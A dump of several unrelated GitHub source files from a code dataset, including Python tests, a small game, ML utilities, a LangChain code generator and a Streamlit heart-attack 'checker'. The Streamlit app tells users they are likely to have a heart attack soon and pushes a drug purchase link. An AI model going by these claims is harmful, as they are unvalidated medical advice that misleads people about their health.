PRIVATE_KEY, PRIVATE_VALUE, PUBLIC_KEY, PUBLIC_VALUE\nfrom .test_delete_metadata import (\n execute_clear_public_metadata_for_item,\n item_without_public_metadata,\n)\nfrom .test_delete_private_metadata import (\n execute_clear_private_metadata_for_item,\n item_without_private_metadata,\n)\nfrom .test_update_metadata import (\n execute_update_public_metadata_for_item,\n item_contains_proper_public_metadata,\n)\nfrom .test_update_private_metadata import (\n execute_update_private_metadata_for_item,\n item_contains_proper_private_metadata,\n)\n\nSHOP_SETTINGS_UPDATE_METADATA_MUTATION = \"\"\"\n mutation updateShopMetadata($input: ShopSettingsInput!) {\n shopSettingsUpdate(input: $input) {\n shop {\n metadata {\n key\n value\n }\n privateMetadata {\n key\n value\n }\n }\n }\n }\n\"\"\"\n\n\n@mock.patch(\"saleor.plugins.manager.PluginsManager.shop_metadata_updated\")\ndef test_shop_settings_update_metadata(\n mock_shop_metadata_updated, staff_api_client, permission_manage_settings\n):\n # given\n query = SHOP_SETTINGS_UPDATE_METADATA_MUTATION\n metadata = [{\"key\": PUBLIC_KEY, \"value\": PUBLIC_VALUE}]\n private_metadata = [{\"key\": PRIVATE_KEY, \"value\": PRIVATE_VALUE}]\n variables = {\n \"input\": {\n \"metadata\": metadata,\n \"privateMetadata\": private_metadata,\n }\n }\n\n # when\n response = staff_api_client.post_graphql(\n query, variables, permissions=[permission_manage_settings]\n )\n\n # then\n content = get_graphql_content(response)\n data = content[\"data\"][\"shopSettingsUpdate\"][\"shop\"]\n assert data[\"metadata\"] == metadata\n assert data[\"privateMetadata\"] == private_metadata\n mock_shop_metadata_updated.assert_called_once()\n\n\n@mock.patch(\"saleor.plugins.manager.PluginsManager.shop_metadata_updated\")\ndef test_shop_settings_update_metadata_does_not_trigger_webhook_when_metadata_unchanged(\n mock_shop_metadata_updated, staff_api_client, permission_manage_settings\n):\n # given\n site_settings = Site.objects.get_current().settings\n site_settings.metadata = {PUBLIC_KEY: PUBLIC_VALUE}\n site_settings.save(update_fields=[\"metadata\"])\n\n query = SHOP_SETTINGS_UPDATE_METADATA_MUTATION\n metadata = [{\"key\": PUBLIC_KEY, \"value\": PUBLIC_VALUE}]\n variables = {\"input\": {\"metadata\": metadata}}\n\n # when\n response = staff_api_client.post_graphql(\n query, variables, permissions=[permission_manage_settings]\n )\n\n # then\n content = get_graphql_content(response)\n data = content[\"data\"][\"shopSettingsUpdate\"][\"shop\"]\n assert data[\"metadata\"] == metadata\n mock_shop_metadata_updated.assert_not_called()\n\n\ndef test_delete_private_metadata_for_shop(staff_api_client, permission_manage_settings):\n # given\n site_settings = Site.objects.get_current().settings\n shop_id = graphene.Node.to_global_id(\"Shop\", SHOP_ID)\n\n # when\n response = execute_clear_private_metadata_for_item(\n staff_api_client,\n permission_manage_settings,\n shop_id,\n \"Shop\",\n )\n\n # then\n assert item_without_private_metadata(\n response[\"data\"][\"deletePrivateMetadata\"][\"item\"],\n site_settings,\n shop_id,\n )\n\n\ndef test_delete_public_metadata_for_shop(staff_api_client, permission_manage_settings):\n # given\n site_settings = Site.objects.get_current().settings\n shop_id = graphene.Node.to_global_id(\"Shop\", SHOP_ID)\n\n # when\n response = execute_clear_public_metadata_for_item(\n staff_api_client,\n permission_manage_settings,\n shop_id,\n \"Shop\",\n )\n\n # then\n assert item_without_public_metadata(\n response[\"data\"][\"deleteMetadata\"][\"item\"],\n site_settings,\n shop_id,\n )\n\n\ndef test_add_public_metadata_for_shop(staff_api_client, permission_manage_settings):\n # given\n site_settings = Site.objects.get_current().settings\n shop_id = graphene.Node.to_global_id(\"Shop\", SHOP_ID)\n\n # when\n response = execute_update_public_metadata_for_item(\n staff_api_client,\n permission_manage_settings,\n shop_id,\n \"Shop\",\n )\n\n # then\n assert item_contains_proper_public_metadata(\n response[\"data\"][\"updateMetadata\"][\"item\"], site_settings, shop_id\n )\n\n\ndef test_add_private_metadata_for_shop(staff_api_client, permission_manage_settings):\n # given\n site_settings = Site.objects.get_current().settings\n shop_id = graphene.Node.to_global_id(\"Shop\", SHOP_ID)\n\n # when\n response = execute_update_private_metadata_for_item(\n staff_api_client,\n permission_manage_settings,\n shop_id,\n \"Shop\",\n )\n\n # then\n assert item_contains_proper_private_metadata(\n response[\"data\"][\"updatePrivateMetadata\"][\"item\"],\n site_settings,\n shop_id,\n )\n","repo_name":"saleor/saleor","sub_path":"saleor/graphql/meta/tests/mutations/test_shop.py","file_name":"test_shop.py","file_ext":"py","file_size_in_byte":5133,"program_lang":"python","lang":"en","doc_type":"code","stars":19331,"dataset":"github-code","pt":"67"} +{"seq_id":"3793560673","text":"#-------------------------------------------------------------------------------\r\n# Name: module1\r\n# Purpose:\r\n#\r\n# Author: ASUS\r\n#\r\n# Created: 20-07-2022\r\n# Copyright: (c) ASUS 2022\r\n# Licence: \r\n#-------------------------------------------------------------------------------\r\n\r\nimport random\r\n\r\ndef gameWin(comp,you):\r\n #if two values are equal,declare a tie !\r\n if comp==you:\r\n return None\r\n #chose for all possibilities when computer choose 's'\r\n elif comp=='s':\r\n if you=='w':\r\n return False\r\n if you=='g':\r\n return True\r\n #choose for all possibilities when computer choose 'w'\r\n elif comp=='w':\r\n if you=='s':\r\n return True\r\n elif you=='g':\r\n return False\r\n #choose for all possibilities when computer choose 'g'\r\n elif comp=='g':\r\n if you=='s':\r\n return False\r\n elif you=='w':\r\n return True\r\n\r\n#now check for computer's turn!\r\n\r\nprint(\"comp turn: Snake(s) Water(w) or Gun(g)?\")\r\nrandNo = random.randint(1,3)\r\nif randNo==1:\r\n comp='s'\r\nelif randNo==2:\r\n comp='w'\r\nelif randNo==3:\r\n comp='g'\r\n\r\n#now check for your's turn!\r\n\r\nyou=input(\"your turn: Snake(s) Water(w) or Gun(g)?\")\r\na=gameWin(comp,you)\r\n\r\n#print what both the sides have choosen!\r\n\r\nprint(f\"computer chose {comp}\")\r\nprint(f\"you chose {you}\")\r\n\r\nif a==None:\r\n print(\"The Game is a tie!\")\r\nelif a:\r\n print(\"You Win! Hurray!!!!!\")\r\nelse:\r\n print(\"Sorry! You Lose\")\r\n\r\n","repo_name":"UjwalParashar9890/Python","sub_path":"SnakeWaterGunGAME.py","file_name":"SnakeWaterGunGAME.py","file_ext":"py","file_size_in_byte":1536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"35984949380","text":"import unittest\nimport os\nimport cv2\n\nfrom PIL import Image\nfrom pytest_socket import disable_socket, enable_socket\nimport src.auxiliary as aux\n\n\nclass TestAuxiliaryIntegration(unittest.TestCase):\n\n def setUp(self):\n self.model_path = 'tests/fixtures/model.pb'\n self.image_path = 'tests/fixtures/ocr.png'\n self.cv_image = cv2.imread(self.image_path)\n self.pil_image = Image.open(self.image_path)\n\n def test_url_type(self):\n enable_socket()\n url = 'https://drive.google.com/uc?export=download&id=' + \\\n '1awJ8Vnwc7TKXQ6gMV1lyaL2qRKHbqnaI'\n input_type = aux.get_input_type(url)\n self.assertEqual(input_type, 1)\n\n def test_load_model(self):\n enable_socket()\n model = aux.load_east_model()\n self.assertTrue(isinstance(model, str))\n\n def test_get_model(self):\n enable_socket()\n if os.path.isfile(self.model_path):\n os.remove(self.model_path)\n model = aux.get_model_from_s3(self.model_path)\n self.assertTrue(isinstance(model, str))\n\n def test_get_model_error(self):\n disable_socket()\n with self.assertRaises(ConnectionError):\n aux.get_model_from_s3(self.model_path)\n\n def test_east_process(self):\n image = self.cv_image\n result = aux.east_process(image)\n self.assertIsNotNone(result)\n\n def test_run_east(self):\n model = cv2.dnn.readNet(aux.load_east_model())\n image = self.cv_image\n size = (640, 640)\n east = aux.run_east(model, image, size[0], size[1])\n self.assertEqual(len(east), 2)\n\n def test_decode_predictions(self):\n model = cv2.dnn.readNet(aux.load_east_model())\n image = self.cv_image\n size = (640, 640)\n east = aux.run_east(model, image, size[0], size[1])\n min_confidence = 0.1\n decode = aux.decode_predictions(east[0], east[1], min_confidence)\n self.assertEqual(len(decode), 2)\n\n def test_load_dict_to_memory(self):\n model = aux.load_dict_to_memory()\n self.assertIsNotNone(model)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"Lucs1590/Nkocr","sub_path":"tests/integration/test_auxiliary.py","file_name":"test_auxiliary.py","file_ext":"py","file_size_in_byte":2132,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"67"} +{"seq_id":"10360574348","text":"from collections import deque\n\nN, M = map(int, input().split())\nnums = list(map(int, input().split()))\nqueue = deque([i for i in range(1, N + 1)])\ncnt = 0\n\nwhile nums:\n if nums[0] == queue[0]:\n queue.popleft()\n nums.pop(0)\n else:\n # 길이의 중간값을 구하여 중간보다 앞에 있으면 2번 연산, 뒤에 있으면 3번 연산 수행.\n mid = len(queue) // 2\n if queue.index(nums[0]) <= mid:\n while queue[0] != nums[0]:\n queue.append(queue.popleft())\n cnt += 1\n else:\n while queue[0] != nums[0]:\n queue.appendleft(queue.pop())\n cnt += 1\nprint(cnt)\n\n","repo_name":"702criticcal/1Day1Commit","sub_path":"Baekjoon/1021.py","file_name":"1021.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"4916420538","text":"import sys\nfrom torchvision.models import resnet as resnet_imagenet\n# try: from . import resnet_imagenet\n# except: import resnet_imagenet\nimport torch\n\n\n# Remember to Normalize!\n# For models trained on imagenet: transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])]\ndef get_arch(model_name, n_classes=3, pretrained=False):\n '''\n Classification options are 'resnet18', 'resnet_18_from_cifar', 'resnet50', 'resnet50_from_cifar',\n 'resnext50', 'resnext101'; pretrained=False/True\n '''\n mean, std = None, None # these will only not be None when pretrained==True\n\n if model_name == 'resnet18':\n model = resnet_imagenet.resnet18(pretrained=pretrained)\n if pretrained: mean, std = [0.485, 0.456, 0.406], [0.229, 0.224, 0.225]\n num_ftrs = model.fc.in_features\n model.fc = torch.nn.Linear(num_ftrs, n_classes)\n\n elif model_name == 'resnet50':\n model = resnet_imagenet.resnet50(pretrained=pretrained)\n if pretrained: mean, std = [0.485, 0.456, 0.406], [0.229, 0.224, 0.225]\n num_ftrs = model.fc.in_features\n model.fc = torch.nn.Linear(num_ftrs, n_classes)\n\n elif model_name == 'resnet50_sws':\n model = torch.hub.load('facebookresearch/semi-supervised-ImageNet1K-models', 'resnet50_swsl')\n if pretrained: mean, std = [0.485, 0.456, 0.406], [0.229, 0.224, 0.225]\n else: mean, std = [0.4310, 0.3012, 0.2162], [0.2748, 0.2021, 0.1691]\n num_ftrs = model.fc.in_features\n model.fc = torch.nn.Linear(num_ftrs, n_classes)\n\n elif model_name == 'resnext50':\n model = resnet_imagenet.resnext50_32x4d(pretrained=pretrained)\n if pretrained: mean, std = [0.485, 0.456, 0.406], [0.229, 0.224, 0.225]\n num_ftrs = model.fc.in_features\n model.fc = torch.nn.Linear(num_ftrs, n_classes)\n\n elif model_name == 'resnext50_sws':\n model = torch.hub.load('facebookresearch/semi-supervised-ImageNet1K-models', 'resnext50_32x4d_swsl')\n if pretrained: mean, std = [0.485, 0.456, 0.406], [0.229, 0.224, 0.225]\n else: mean, std = [0.4310, 0.3012, 0.2162], [0.2748, 0.2021, 0.1691]\n num_ftrs = model.fc.in_features\n model.fc = torch.nn.Linear(num_ftrs, n_classes)\n\n elif model_name == 'resnext101':\n model = resnet_imagenet.resnext101_32x8d(pretrained=pretrained)\n if pretrained: mean, std = [0.485, 0.456, 0.406], [0.229, 0.224, 0.225]\n num_ftrs = model.fc.in_features\n model.fc = torch.nn.Linear(num_ftrs, n_classes)\n else: sys.exit('not a valid model_name, check models.get_model.py')\n\n return model, mean, std\nif __name__ == '__main__':\n import time\n batch_size = 1\n batch = torch.zeros([batch_size, 3, 80, 80], dtype=torch.float32)\n model = get_arch('resnet18', n_classes=3)\n print(\"Total params: {0:,}\".format(sum(p.numel() for p in model.parameters() if p.requires_grad)))\n print('Forward pass (bs={:d}) when running in the cpu:'.format(batch_size))\n start_time = time.time()\n logits = model(batch)\n print(\"--- %s seconds ---\" % (time.time() - start_time))\n\n","repo_name":"agaldran/deep_dr","sub_path":"models/get_model.py","file_name":"get_model.py","file_ext":"py","file_size_in_byte":3085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"31780116230","text":"import streamlit as st\nimport pandas as pd\nimport pickle\nfrom sklearn.preprocessing import StandardScaler\nst.markdown(\"\"\"\n\n \"\"\", unsafe_allow_html=True)\n\nst.title('You Have a Big Heart. Take Care of It!')\n\nst.header(\"The Alexandra Flemming Org. (T.A.F.O)\")\nst.subheader(\"Using AI for heart attack prevention\")\n\nheart = pd.read_csv('heart.csv')\naug_heart = pd.read_csv('augumented_dataset.csv')\n### Real Data\nESTIMATOR = pickle.load(open(\"asaved-model.pickle\", 'rb'))\nst.image(\"heart.gif\")\nbackgroundColor = '#e2f9ff'\n\nprimaryColor = '#6169e9'\n\ntextColor = '#0a0f12'\n\n######################################################################################################################\n##### Everything here with just st. something goes in the main page in the order it appears in the code\n\n\nst.write(f\"\"\"\nOur heart attack detection system has been carefully selected from a vast array of machine learning algorithms.\nThe best rates were detected using the KNN Model.\nWe achieved an accuracy of 83.5% working with the original data.\n\"\"\")\noriginal_dataset = st.empty()\noriginal_data_view = st.button(\"View original data\", key=\"odv\")\nif original_data_view:\n original_dataset.write(heart)\n close_original = st.button(\"Hide dataset\", key=\"co\")\n if close_original:\n original_dataset= st.empty()\n\n\n\nst.write(f\"\"\"\nUsing state of the art synthetic data creation we were able to train our model for a greater accuracy of 98.8%.\nThe [*Augmented dataset*]() can be seen here.\n\n\"\"\")\naugmented_dataset = st.empty()\naugmented_data_view = st.button(\"View Augmented data\", key=\"adv\")\nif augmented_data_view:\n augmented_dataset.write(aug_heart)\n close_augmented = st.button(\"Hide dataset\", key=\"ca\")\n if close_augmented:\n augmented_dataset = st.empty()\n\nst.subheader(\"Do a quick check!\")\nst.write(\"\"\"\nFill out the form on the left hand side and click submit to review your quick check results here.\"\"\")\n\nquick_view_header = st.empty()\nquick_view_data = st.empty()\nquick_view_model_results = st.empty()\n\nst.subheader(\"Full monitoring service\")\nst.write(\"\"\"\nFor an example of our live monitoring service we have patient data taken every minute over a 2 hour period.\nClicking run below will show our system working to detect a potential heart attack at each interval of data taken.\nAn alarm will sound in the event our ground breaking drug will need to be administerd.\"\"\")\n\n#demo_button = st.button()\n\n######################################################################################################################\n##### Everything here with just st.sidebar goes in the side bar in the order it appears in the code\n\n# Test yourself\nst.sidebar.subheader(\"Quick Check Monitoring System\")\nst.sidebar.write(\"First submit gender & age..\")\ntest_gender_dict = {\"Female(1)\":1, \"Male(0)\":0}\ntest_gender = st.sidebar.selectbox(\"What is your gender?\", list(test_gender_dict.keys()))\ntest_age = st.sidebar.selectbox(\"What is your age?\", [i for i in range(5,115)])\n\nst.sidebar.write(\"Then submit your medical data..\")\n## Drop downs\ncp_dict = {\"Angina(0)\": 0, \"Atypical Angina(1)\": 1, \"Non-Angina(2)\":2, \"Asympotmatic(3)\": 3}\ncp = st.sidebar.selectbox(\"Type of Chest Pain?\", list(cp_dict.keys()))\n\nfbs_dict = {\"Yes\": 1, \"No\": 0}\nfbs = st.sidebar.selectbox(\"Is your fasting blood sugar > 120?\", list(fbs_dict.keys()))\n\nrest_ecg_dict = {\"Normal(0)\":0, \"ST-T(1)\": 1, \"Hypertrophy(2)\": 2}\nrest_ecg = st.sidebar.selectbox(\"What is your resting ECG?\", list(rest_ecg_dict.keys())) # 0=normal, 1=ST-T(?!), 2=hypertrophy\n\nexang_dict = {\"Yes\": 1, \"No\": 0}\nexang = st.sidebar.selectbox(\"Does exercise induce angina?\", list(exang_dict.keys()))#\"exang\", # 1/0 true false exercise induced angina\n\nslope_dict = {\"Unsloping(1)\":1, \"Flat(2)\": 2, \"Downsloping(3)\": 3}\nslope = st.sidebar.selectbox(\"What is your ST heart rate slope?\", list(slope_dict.keys())) # 1= upsloping, 2=flat, 3=downsloping\n\nthal_dict = {\"Unknown(0)\": 0, \"Normal(1)\":1 , \"Defect(2)\": 2, \"Reversable Defect(3)\": 3}\nthal = st.sidebar.selectbox(\"Status of Thalassemia?\", list(thal_dict.keys()))\n\nca = st.sidebar.selectbox(\"Number of coloured vessels by flouropy?\", [0,1,2,3])\n\n#### Sliders\n# trestbps = st.sidebar.slider(\"Set a Resting Blood Pressue:\", min_value=70, max_value=220, step=1)\n# chol = st.sidebar.slider(\"Set a Cholestrol level:\", min_value=100, max_value=600, step=1)\n# thalach = st.sidebar.slider(\"Set your maximum heart rate achieved:\", min_value=50, max_value=250, step=1)\n# oldpeak = st.sidebar.slider(\"Set your ST depression induced by exerise vs rest:\",min_value=0.0, max_value=7.0, step=0.1)\ntrestbps = st.sidebar.text_input(\"Set a Resting Blood Pressue:\")\nchol = st.sidebar.text_input(\"Set a Cholestrol level:\")\nthalach = st.sidebar.text_input(\"Set your maximum heart rate achieved:\")\noldpeak = st.sidebar.text_input(\"Set your ST depression induced by exerise vs rest:\")\n\nsubmit_quick_check = st.sidebar.button(\"Submit your results\", key=\"submitqc\")\n\n######################################################################################################################\n##### These will be functions for interacting with the model\n\nif submit_quick_check:\n new_patient = {\n 'age': [int(test_age)],\n 'sex': [int(test_gender_dict[test_gender])],\n 'cp': [int(cp_dict[cp])],\n 'trestbps': [int(trestbps)],\n 'chol': [int(chol)],\n 'fbs': [int(fbs_dict[fbs])],\n 'restecg':[int(rest_ecg_dict[rest_ecg])],\n 'thalach': [int(thalach)],\n 'exang': [int(exang_dict[exang])],\n 'oldpeak':[float(oldpeak)],\n 'slope':[int(slope_dict[slope])],\n 'ca': [int(ca)],\n 'thal': [int(thal_dict[thal])],\n }\n num_features = ['age','trestbps','chol','thalach','oldpeak']\n cat_features = ['cp','slope','thal','sex','exang','ca','fbs','restecg']\n np_df = pd.DataFrame(new_patient)\n\n quick_view_header.write(\"You entered the following data:\\n\")\n quick_view_data.write(np_df)\n results = ESTIMATOR.predict(np_df)\n print(results[0])\n if results[0] == 1:\n quick_view_model_results.write(f\"\"\"\n\nBased on the information you have given us you are incredibly likely to have a heart attack soon.\nPurchase our drug [*here*]()\n\"\"\")\n elif results[0]==0:\n quick_view_model_results.write(f\"\"\"\n\nBased on the information you have given us everything looks good.\nFor now...perhaps you are interested in trying our full monitoring system,\npurchase it [*here*]()\"\"\")\n\n else:\n quick_view_model_results.write(\"Inconclusive\")\n","repo_name":"aimwps/ML-training-grounds","sub_path":"FlemmingHeartChecker/heart_streamlit.py","file_name":"heart_streamlit.py","file_ext":"py","file_size_in_byte":6675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"70518881815","text":"import traceback\nimport os\nimport streamlit as st\nfrom langchain.chat_models import ChatLiteLLM\nfrom langchain.prompts.chat import (\n ChatPromptTemplate,\n SystemMessagePromptTemplate,\n AIMessagePromptTemplate,\n HumanMessagePromptTemplate,\n)\nfrom langchain.schema import AIMessage, HumanMessage, SystemMessage\nfrom langchain.prompts import PromptTemplate\nfrom langchain.chains import LLMChain, SequentialChain\nfrom langchain.memory import ConversationBufferMemory\nfrom libs.logger import logger\nfrom dotenv import load_dotenv\n\nclass OpenAILangChain:\n code_chain = None\n code_language = 'Python'\n lite_llm = None # Change from open_ai_llm to lite_llm\n memory = None\n \n def __init__(self,code_language=\"python\",temprature:float=0.3,max_tokens=1000,model=\"gpt-3.5-turbo\",api_key=None):\n code_prompt = st.session_state.code_prompt\n code_language = st.session_state.code_language\n logger.info(f\"Initializing OpenAILangChain... with parameters: {code_language}, {temprature}, {max_tokens}, {model} {code_prompt}\")\n\n # Set the OPENAI_API_KEY environment variable\n load_dotenv()\n \n #st.toast(f\"Proxy API value is {st.session_state.proxy_api} and length {len(st.session_state.proxy_api)}\", icon=\"✅\")\n if st.session_state.proxy_api != \"\" and len(st.session_state.proxy_api) > 0 and api_key == None:\n st.toast(\"Using proxy API\", icon=\"✅\")\n os.environ[\"OPENAI_API_KEY\"] = \"\" # This value is ignored when api_base is set.\n elif api_key:\n os.environ[\"OPENAI_API_KEY\"] = api_key\n \n # Create a LiteLLM model\n self.lite_llm = ChatLiteLLM(model=model, temperature=temprature, max_tokens=max_tokens, openai_api_key=api_key)\n \n if st.session_state.proxy_api:\n self.lite_llm.api_base = st.session_state.proxy_api\n \n # Define code_template and memory\n code_template = PromptTemplate(input_variables=['code_prompt'],template='Write a code in ' +f'{code_language} language' + ' for {code_prompt}')\n memory = ConversationBufferMemory(input_key='code_prompt', memory_key='chat_history')\n \n # give info of selected source for API key\n if api_key:\n pass\n #st.toast(\"Using API key from input\", icon=\"🔑\")\n else:\n st.toast(\"Using API key from .env file\", icon=\"🔑\")\n \n self.code_language = code_language\n \n # Dynamically construct guidelines based on session state\n guidelines_list = []\n\n if st.session_state[\"coding_guidelines\"][\"modular_code\"]:\n guidelines_list.append(\"- Ensure the method is modular in its approach.\")\n if st.session_state[\"coding_guidelines\"][\"exception_handling\"]:\n guidelines_list.append(\"- Integrate robust exception handling.\")\n if st.session_state[\"coding_guidelines\"][\"error_handling\"]:\n guidelines_list.append(\"- Add error handling to each module.\")\n if st.session_state[\"coding_guidelines\"][\"efficient_code\"]:\n guidelines_list.append(\"- Optimize the code to ensure it runs efficiently.\")\n if st.session_state[\"coding_guidelines\"][\"robust_code\"]:\n guidelines_list.append(\"- Ensure the code is robust against potential issues.\")\n if st.session_state[\"coding_guidelines\"][\"naming_conventions\"]:\n guidelines_list.append(\"- Follow standard naming conventions.\")\n\n # Convert the list to a string\n guidelines = \"\\n\".join(guidelines_list)\n\n # Setting Prompt Template.\n input_section = f\"Given the input for code: {st.session_state.code_input}\" if st.session_state.code_input else \"make sure the program doesn't ask for any input from the user\"\n\n template = f\"\"\"\n Task: Design a program {{code_prompt}} in {{code_language}} with the following guidelines and\n make sure the output is printed on the screen.\n And make sure the output contains only the code and nothing else.\n {input_section}\n\n Guidelines:\n {guidelines}\n \"\"\"\n \n # Prompt Templates\n code_template = PromptTemplate(input_variables=[\"code_prompt\", \"code_language\"], template=template)\n # LLM Chains definition\n \n # Create a chain that generates the code\n self.code_chain = LLMChain(llm=self.lite_llm, prompt=code_template,output_key='code', memory=memory, verbose=True) # Change from open_ai_llm to lite_llm\n\n # Auto debug chain\n auto_debug_template = PromptTemplate(input_variables=['code_prompt'],template='Debug and fix any error in the following code in ' +f'{code_language} language' + ' for {code_prompt}')\n auto_debug_chain = LLMChain(llm=self.lite_llm, prompt=auto_debug_template,output_key='code_fix', memory=self.memory, verbose=True) # Change from open_ai_llm to lite_llm\n \n if not st.session_state.auto_debug_chain:\n st.session_state.auto_debug_chain = auto_debug_chain\n \n # Create a sequential chain that combines the two chains above\n sequential_chain = SequentialChain(chains=[self.code_chain, auto_debug_chain], input_variables=['code_prompt','code_language'], output_variables=['code', 'code_fix'])\n \n # Save the chain in the session state\n if \"sequential_chain\" not in st.session_state:\n st.session_state.sequential_chain = sequential_chain\n\n def generate_code(self,code_prompt,code_language):\n try:\n \n # check for valid prompt and language\n if not code_prompt or len(code_prompt) == 0:\n st.toast(\"Error in code generation: Please enter a valid prompt.\", icon=\"❌\")\n logger.error(\"Error in code generation: Please enter a valid prompt.\")\n return\n \n logger.info(f\"Generating code for prompt: {code_prompt} in language: {code_language}\")\n if code_prompt and len(code_prompt) > 0 and code_language and len(code_language) > 0:\n logger.info(f\"Generating code for prompt: {code_prompt} in language: {code_language}\")\n \n if self.code_chain:\n logger.info(f\"Code chain is initialized.\")\n st.session_state.generated_code = self.code_chain.run({\"code_prompt\": code_prompt, \"code_language\": code_language})\n logger.info(f\"Generated code: {st.session_state.generated_code[:100]}...\")\n\n # Memory for the conversation\n memory = ConversationBufferMemory(input_key='code_prompt', memory_key='chat_history')\n\n # save the memory in the session state\n if \"memory\" in st.session_state:\n st.session_state.memory = memory\n \n #with st.expander('Message History'):\n #st.info(memory.buffer)\n code = st.session_state.generated_code\n if '```' in code:\n start = code.find('```') + len('```\\n')\n end = code.find('```', start)\n # Skip the first line after ```\n start = code.find('\\n', start) + 1\n extracted_code = code[start:end]\n return extracted_code\n else:\n return code\n\n else:\n st.toast(\"Error in code generation: Please enter a valid prompt and language.\", icon=\"❌\")\n logger.error(\"Error in code generation: Please enter a valid prompt and language.\")\n except Exception as e:\n st.toast(f\"Error in code generation: {e}\", icon=\"❌\")\n logger.error(f\"Error in code generation: {traceback.format_exc()}\")","repo_name":"haseeb-heaven/LangChain-Coder","sub_path":"libs/openai_langchain.py","file_name":"openai_langchain.py","file_ext":"py","file_size_in_byte":7794,"program_lang":"python","lang":"en","doc_type":"code","stars":59,"dataset":"github-code","pt":"67"} +{"seq_id":"2499035970","text":"#! /usr/bin/env python3\n\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc.\n\nimport os\nimport pickle\nimport sys\nimport unittest\n\n# Adjust the python path to use live code and not an installed version\nloc = os.path.realpath(__file__)\nloc = os.path.dirname(loc)\nloc = os.path.join(loc+'/', '../djvubind')\nloc = os.path.normpath(loc)\nsys.path.insert(0, os.path.dirname(loc))\n\nimport djvubind.ocr\nimport djvubind.utils\n\n# Move into the directory of the unittests\nos.chdir(os.path.dirname(os.path.realpath(__file__)))\n\nclass Ocr(unittest.TestCase):\n \"\"\"\n Tests for djvubind/ocr.py\n \"\"\"\n\n\n def test_01_impossible_bounding_box(self):\n box = djvubind.ocr.BoundingBox()\n self.assertRaises(ValueError, box.sanity_check)\n\n def test_02_translate_check(self):\n with open('data/Ocr.translate_check_in.pickle', 'rb') as data:\n data_in = pickle.load(data)\n with open('data/Ocr.translate_check_out.pickle', 'rb') as data:\n data_out = pickle.load(data)\n self.assertEqual(data_out, djvubind.ocr.translate(data_in))\n\n def test_03_non_supported_engine(self):\n self.assertRaises(ValueError, djvubind.ocr.engine, 'fake-engine')\n\n# def test_04_hocr_parser(self):\n# \"\"\"\n# Checks whether the parser gives the same output that was given in the\n# past. Checks for each supported version of cuneiform hocr output.\n# \"\"\"\n#\n# for filename in djvubind.utils.list_files('data/', 'cuneiform_in'):\n# version = filename.split('_')[-1]\n#\n# handle = open(filename, 'r', encoding='utf8')\n# infile = handle.read()\n# handle.close()\n# handle = open('data/cuneiform_out_'+version, 'r', encoding='utf8')\n# outfile = handle.read()\n# handle.close()\n#\n# parser = djvubind.ocr.hocrParser()\n# parser.parse(infile)\n#\n# self.assertEqual(outfile, str(parser.boxing))\n\n\nclass Utils(unittest.TestCase):\n \"\"\"\n Tests for djvubind/utils.py\n \"\"\"\n\n def test_01_add_color(self):\n \"\"\"\n Checks for addition of proper ansi escape sequences. If the platform\n is windows, the original text should be returned with no ansi sequences.\n \"\"\"\n\n colors = {'pink': '\\033[95mpink\\033[0m',\n 'blue': '\\033[94mblue\\033[0m',\n 'green': '\\033[92mgreen\\033[0m',\n 'yellow': '\\033[93myellow\\033[0m',\n 'red': '\\033[91mred\\033[0m'}\n for color in colors.keys():\n out = djvubind.utils.color(color, color)\n if sys.platform.startswith('win'):\n self.assertEqual(color, out)\n else:\n self.assertEqual(colors[color], out)\n\n def test_02_add_bad_color(self):\n \"\"\"\n Checks that no modification is made with an unsupported color.\n \"\"\"\n text = 'Some text here.'\n out = djvubind.utils.color(text, 'mauve')\n self.assertEqual(text, out)\n\n def test_03_arabic_to_roman_samples(self):\n \"\"\"\n Checks for the correct conversion of some sample numbers.\n \"\"\"\n numbers = {'vi':6, 'x':10, 'iv':4, 'xlix':49}\n for roman in numbers.keys():\n out = djvubind.utils.arabic_to_roman(numbers[roman])\n self.assertEqual(roman, out)\n\n def test_04_arabic_to_roman_non_integer(self):\n \"\"\"\n Checks that a TypeError is raised for non-integer arguments.\n \"\"\"\n self.assertRaises(TypeError, djvubind.utils.arabic_to_roman, '5')\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"strider1551/djvubind","sub_path":"unittests/unittests.py","file_name":"unittests.py","file_ext":"py","file_size_in_byte":4259,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"67"} +{"seq_id":"14370847875","text":"from embeds.base.embed import DefaultEmbed as Embed\nfrom utility.emojis import get_emoji, get_icon\nfrom utility.rec_net_helpers import post_url\nfrom embeds.headers.profile_header import profile_header\n\n\"\"\"Makes an embed for RecNet post stats\"\"\"\ndef stats_embed(user):\n # Define embed \n em = Embed(\n title = f\"{user.display_name}'s RecNet statistics\",\n description = \"Statistics of public shared posts on RecNet.\"\n )\n em.set_thumbnail(url=get_icon(\"photo\")) # Add slick photo icon\n em = profile_header(user, em)\n \n # Get stats\n total_shared_photos = len(user.posts)\n total_tagged_photos = len(user.feed)\n total_cheers = get_total_cheers(user.posts)\n total_comments = get_total_comments(user.posts)\n \n em.add_field(\n name=\"Total Stats\",\n value=\n f\"{get_emoji('cheer')} `{total_cheers:,}` — Cheers\\n\"\n f\"{get_emoji('comment')} `{total_comments:,}` — Comments\\n\"\n f\"{get_emoji('image')} `{total_shared_photos:,}` — Photos Shared\\n\"\n f\"{get_emoji('visitors')} `{total_tagged_photos:,}` — Photos Tagged In\",\n inline=False\n )\n \n # Return it if no shared posts because remaining fields require posts\n if not total_shared_photos: return em\n \n most_cheered_post = 